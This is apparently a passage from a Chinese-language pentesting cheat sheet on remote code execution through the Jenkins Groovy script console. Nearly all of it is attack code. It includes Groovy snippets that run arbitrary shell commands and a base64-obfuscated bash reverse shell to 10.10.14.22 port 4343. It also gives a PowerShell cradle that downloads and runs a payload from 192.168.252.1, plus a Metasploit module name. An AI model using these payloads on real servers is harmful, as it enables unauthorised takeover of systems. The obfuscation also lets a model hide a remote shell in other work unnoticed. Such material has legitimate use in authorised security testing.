def process = "PowerShell.exe <WHATEVER>".execute()
println "Found text ${process.text}"
您可以使用以下命令执行操作:`cmd.exe /c dir`
在 **linux** 中,您可以执行:**`"ls /".execute().text`**
如果您需要在文本中使用_引号_和_单引号_。您可以使用_"""PAYLOAD"""_(三重双引号)来执行有效载荷。
**另一个有用的groovy脚本**是(替换\[INSERT COMMAND]):
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = '[INSERT COMMAND]'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = 'bash -c {echo,YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yMi80MzQzIDA+JjEnCg==}|{base64,-d}|{bash,-i}'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"
scriptblock="iex (New-Object Net.WebClient).DownloadString('http://192.168.252.1:8000/payload')"
echo $scriptblock | iconv --to-code UTF-16LE | base64 -w 0
cmd.exe /c PowerShell.exe -Exec ByPass -Nol -Enc <BASE64>
msf> use exploit/multi/http/jenkins_script_console